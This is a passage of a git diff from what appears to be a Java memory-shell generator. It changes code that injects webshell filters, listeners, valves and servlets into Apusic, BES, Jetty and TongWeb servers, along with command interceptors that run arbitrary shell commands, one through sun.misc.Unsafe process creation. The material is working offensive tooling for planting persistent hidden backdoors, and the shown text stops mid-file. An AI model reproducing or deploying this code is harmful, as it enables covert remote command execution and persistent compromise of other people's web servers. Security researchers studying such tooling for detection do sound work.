IOException { + public static void enter(@Advice.Argument(value = 0) String cmd, + @Advice.Return(readOnly = false) InputStream returnValue, + @TemplateAnnotation String template + ) throws IOException { try { - String[] strs = cmd.split("\\s+"); + String[] cmdarray = null; + String t = template; + if (t == null) { + cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; + } else { + if (t.contains("\"{command}\"")) { + String[] split = t.split("\\s+"); + for (int i = 0; i < split.length; i++) { + split[i] = split[i].replace("\"{command}\"", cmd); + } + cmdarray = split; + } else { + String cmdline = t.replace("{command}", cmd); + cmdarray = cmdline.split("\\s+"); + } + } Class unsafeClass = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); @@ -30,11 +48,11 @@ public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return( } Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass); - byte[][] args = new byte[strs.length - 1][]; + byte[][] args = new byte[cmdarray.length - 1][]; int size = args.length; for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); + args[i] = cmdarray[i + 1].getBytes(); size += args[i].length; } @@ -48,7 +66,7 @@ public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return( int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; - byte[] bytes = strs[0].getBytes(); + byte[] bytes = cmdarray[0].getBytes(); byte[] result = new byte[bytes.length + 1]; System.arraycopy(bytes, 0, result, 0, diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java index 5a36f7ac..de99ec43 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.generator.command; import net.bytebuddy.asm.Advice; +import org.apache.commons.io.IOUtils; import java.io.IOException; import java.io.InputStream; @@ -10,9 +11,28 @@ * @since 2025/5/25 */ public class RuntimeExecInterceptor { + @Advice.OnMethodExit - public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { - String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; - returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream(); + public static void enter(@Advice.Argument(value = 0) String cmd, + @Advice.Return(readOnly = false) InputStream returnValue, + @TemplateAnnotation String template + ) throws IOException { + String[] cmdarray = null; + String t = template; + if (t == null) { + cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; + } else { + if (t.contains("\"{command}\"")) { + String[] split = t.split("\\s+"); + for (int i = 0; i < split.length; i++) { + split[i] = split[i].replace("\"{command}\"", cmd); + } + cmdarray = split; + } else { + String cmdline = t.replace("{command}", cmd); + cmdarray = cmdline.split("\\s+"); + } + } + returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/TemplateAnnotation.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/TemplateAnnotation.java new file mode 100644 index 00000000..e3bd27ba --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/TemplateAnnotation.java @@ -0,0 +1,8 @@ +package com.reajason.javaweb.memshell.generator.command; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +@Retention(RetentionPolicy.RUNTIME) +public @interface TemplateAnnotation { +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/DebugOffBuilderModifier.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/DebugOffBuilderModifier.java new file mode 100644 index 00000000..41705fba --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/DebugOffBuilderModifier.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.memshell.generator.processors; + +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.Processor; +import net.bytebuddy.dynamic.DynamicType; + +/** + * @author ReaJason + * @since 2025/12/7 + */ +public class DebugOffBuilderModifier implements Processor> { + + @Override + public DynamicType.Builder process(DynamicType.Builder builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + if (shellConfig.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + return builder; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java new file mode 100644 index 00000000..cb83b2fe --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.memshell.generator.processors; + +import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.Processor; +import net.bytebuddy.dynamic.DynamicType; + +/** + * @author ReaJason + * @since 2025/12/7 + */ +public class JakartaBuilderModifier implements Processor> { + + @Override + public DynamicType.Builder process(DynamicType.Builder builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + if (shellConfig.isJakarta()) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + return builder; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java new file mode 100644 index 00000000..d47e8cdf --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memshell.generator.processors; + +import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.asm.ClassSuperClassUtils; +import com.reajason.javaweb.asm.MethodUtils; +import com.reajason.javaweb.memshell.ServerFactory; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.Processor; +import com.reajason.javaweb.memshell.server.AbstractServer; +import com.reajason.javaweb.memshell.server.Jetty; + +/** + * @author ReaJason + * @since 2025/12/7 + */ +public class JettyHandlerPostProcessor implements Processor { + + @Override + public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); + String shellType = shellConfig.getShellType(); + if (server instanceof Jetty + && (ShellType.HANDLER.equals(shellType) + || ShellType.JAKARTA_HANDLER.equals(shellType)) + ) { + String superClassName = null; + String serverVersion = shellConfig.getServerVersion(); + if (serverVersion != null) { + switch (serverVersion) { + case "6": + superClassName = "org/mortbay/jetty/handler/AbstractHandler"; + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"); + bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty"); + break; + case "7+": + superClassName = "org/eclipse/jetty/server/handler/AbstractHandler"; + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V"); + break; + case "12": + superClassName = "org/eclipse/jetty/server/Handler$Abstract"; + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V"); + break; + } + } + if (superClassName == null) { + throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion"); + } + return ClassSuperClassUtils.addSuperClass(bytes, superClassName); + } + return bytes; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java similarity index 61% rename from generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java rename to generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java index 88fb0de5..c2a188e2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java @@ -1,7 +1,13 @@ -package com.reajason.javaweb.memshell.generator; +package com.reajason.javaweb.memshell.generator.processors; import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; +import com.reajason.javaweb.memshell.ServerFactory; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.Processor; +import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.description.method.MethodDescription; @@ -18,12 +24,26 @@ /** * @author ReaJason - * @since 2025/2/22 + * @since 2025/12/7 */ -public class ListenerGenerator { +public class ListenerBuilderModifier implements Processor> { - public static DynamicType.Builder build(DynamicType.Builder builder, Class implInterceptor, - TypeDescription typeDefinition, String newClassName) { + @Override + public DynamicType.Builder process(DynamicType.Builder builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + String shellType = shellConfig.getShellType(); + if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { + AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); + String shellClassName = shellToolConfig.getShellClassName(); + builder = modifier(builder, + server.getListenerInterceptor(), + shellToolConfig.getShellTypeDescription(), + shellClassName); + } + return builder; + } + + public static DynamicType.Builder modifier(DynamicType.Builder builder, Class implInterceptor, + TypeDescription typeDefinition, String newClassName) { MethodList methods = typeDefinition.getDeclaredMethods(); if (methods.filter(ElementMatchers.named("getResponseFromRequest") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ShrinkPostProcessor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ShrinkPostProcessor.java new file mode 100644 index 00000000..2251d92f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ShrinkPostProcessor.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.memshell.generator.processors; + +import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.Processor; + +/** + * @author ReaJason + * @since 2025/12/7 + */ +public class ShrinkPostProcessor implements Processor { + + @Override + public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + return ClassBytesShrink.shrink(bytes, shellConfig.isShrink()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java similarity index 67% rename from generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java rename to generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java index 97ab8e7b..9cfd51c7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java @@ -1,6 +1,11 @@ -package com.reajason.javaweb.memshell.generator; +package com.reajason.javaweb.memshell.generator.processors; import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.memshell.ServerFactory; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.Processor; import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.Bes; import com.reajason.javaweb.memshell.server.TongWeb; @@ -12,6 +17,7 @@ import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.Implementation; import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.commons.ClassRemapper; import net.bytebuddy.jar.asm.commons.Remapper; import net.bytebuddy.pool.TypePool; @@ -20,9 +26,19 @@ /** * @author ReaJason - * @since 2025/2/22 + * @since 2025/12/7 */ -public class ValveGenerator { +public class ValveBuilderModifier implements Processor> { + + @Override + public DynamicType.Builder process(DynamicType.Builder builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + String shellType = shellConfig.getShellType(); + AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); + if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) { + builder = modifier(builder, server, shellConfig.getServerVersion()); + } + return builder; + } public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina"; public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier"; @@ -30,9 +46,15 @@ public class ValveGenerator { public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server"; - public static DynamicType.Builder build(DynamicType.Builder builder, AbstractServer shell, String serverVersion) { + public static DynamicType.Builder modifier(DynamicType.Builder builder, AbstractServer shell, String serverVersion) { String packageName = null; - if (serverVersion != null) { + if (shell instanceof Bes) { + packageName = BES_VALVE_PACKAGE; + } + if (shell instanceof TongWeb) { + if (serverVersion == null) { + throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion"); + } switch (serverVersion) { case "6": packageName = TONGWEB6_VALVE_PACKAGE; @@ -43,18 +65,14 @@ public static DynamicType.Builder build(DynamicType.Builder builder, Abstr case "8": packageName = TONGWEB8_VALVE_PACKAGE; break; + default: + throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion"); } } - if (shell instanceof Bes) { - packageName = BES_VALVE_PACKAGE; - } - if (StringUtils.isEmpty(packageName)) { - if (shell instanceof TongWeb) { - throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion"); - } - return builder; + if (StringUtils.isNotBlank(packageName)) { + return builder.visit(new ValveRenameVisitorWrapper(packageName)); } - return builder.visit(new ValveRenameVisitorWrapper(packageName)); + return builder; } public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper { @@ -86,7 +104,7 @@ public ClassVisitor wrap(@NotNull TypeDescription instrumentedType, int readerFlags) { return new ClassRemapper( classVisitor, - new Remapper() { + new Remapper(Opcodes.ASM9) { @Override public String map(String typeName) { String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/"); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index e4af7434..416c63ec 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -7,8 +7,7 @@ import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; +import java.util.HashSet; import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -19,7 +18,8 @@ */ public class ApusicFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -34,16 +34,21 @@ public String getBase64String() throws IOException { } public ApusicFilterInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -52,6 +57,7 @@ public ApusicFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -77,8 +83,8 @@ private String getContextRoot(Object context) { * context -> webapp: com.apusic.deploy.runtime.WebModule * /usr/local/ass/lib/apusic.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index 6e5c9dfe..6095d3ab 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -6,10 +6,7 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -18,7 +15,8 @@ */ public class ApusicListenerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -33,24 +31,30 @@ public String getBase64String() throws IOException { } public ApusicListenerInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); - msg += "[/*] ready\n"; + msg += "[" + getUrlPattern() + "] ready\n"; } catch (Throwable e) { msg += "failed " + getErrorMessage(e) + "\n"; } } } + ok = true; System.out.println(msg); } @@ -71,8 +75,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index 18c60883..3c0fb3b3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -6,10 +6,7 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -18,7 +15,8 @@ */ public class ApusicServletInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -33,16 +31,21 @@ public String getBase64String() throws IOException { } public ApusicServletInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -51,6 +54,7 @@ public ApusicServletInjector() { } } } + ok = true; System.out.println(msg); } @@ -71,8 +75,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index 02359e18..dd87e78c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -15,7 +15,8 @@ * @author ReaJason */ public class BesFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public String getBase64String() throws IOException { } public BesFilterInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public BesFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -55,7 +62,7 @@ public BesFilterInjector() { private String getContextRoot(Object context) { String r = null; try { - r = (String) invokeMethod(context, "getContextPath", null, null); + r = (String) getFieldValue(context, "encodedPath"); } catch (Exception ignored) { } String c = context.getClass().getName(); @@ -72,8 +79,8 @@ private String getContextRoot(Object context) { * com.bes.enterprise.webtier.core.DefaultContext * /opt/bes/lib/bes-engine.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -83,6 +90,16 @@ public List getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index 686e82e5..cfad5985 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -15,7 +15,8 @@ */ public class BesListenerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -26,16 +27,21 @@ public String getBase64String() throws IOException { } public BesListenerInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -44,6 +50,7 @@ public BesListenerInjector() { } } } + ok = true; System.out.println(msg); } @@ -51,7 +58,7 @@ public BesListenerInjector() { private String getContextRoot(Object context) { String r = null; try { - r = (String) invokeMethod(context, "getContextPath", null, null); + r = (String) getFieldValue(context, "encodedPath"); } catch (Exception ignored) { } String c = context.getClass().getName(); @@ -64,8 +71,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -75,6 +82,16 @@ public List getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index 553e196c..76329edf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -14,7 +14,8 @@ */ public class BesValveInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,16 +26,21 @@ public String getBase64String() { } public BesValveInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -43,6 +49,7 @@ public BesValveInjector() { } } } + ok = true; System.out.println(msg); } @@ -50,7 +57,7 @@ public BesValveInjector() { private String getContextRoot(Object context) { String r = null; try { - r = (String) invokeMethod(context, "getContextPath", null, null); + r = (String) getFieldValue(context, "encodedPath"); } catch (Exception ignored) { } String c = context.getClass().getName(); @@ -63,8 +70,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -74,6 +81,16 @@ public List getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java deleted file mode 100644 index cc23793a..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java +++ /dev/null @@ -1,215 +0,0 @@ -package com.reajason.javaweb.memshell.injector.glassfish; - -import org.objectweb.asm.*; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.security.ProtectionDomain; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer { - private static final String TARGET_CLASS = 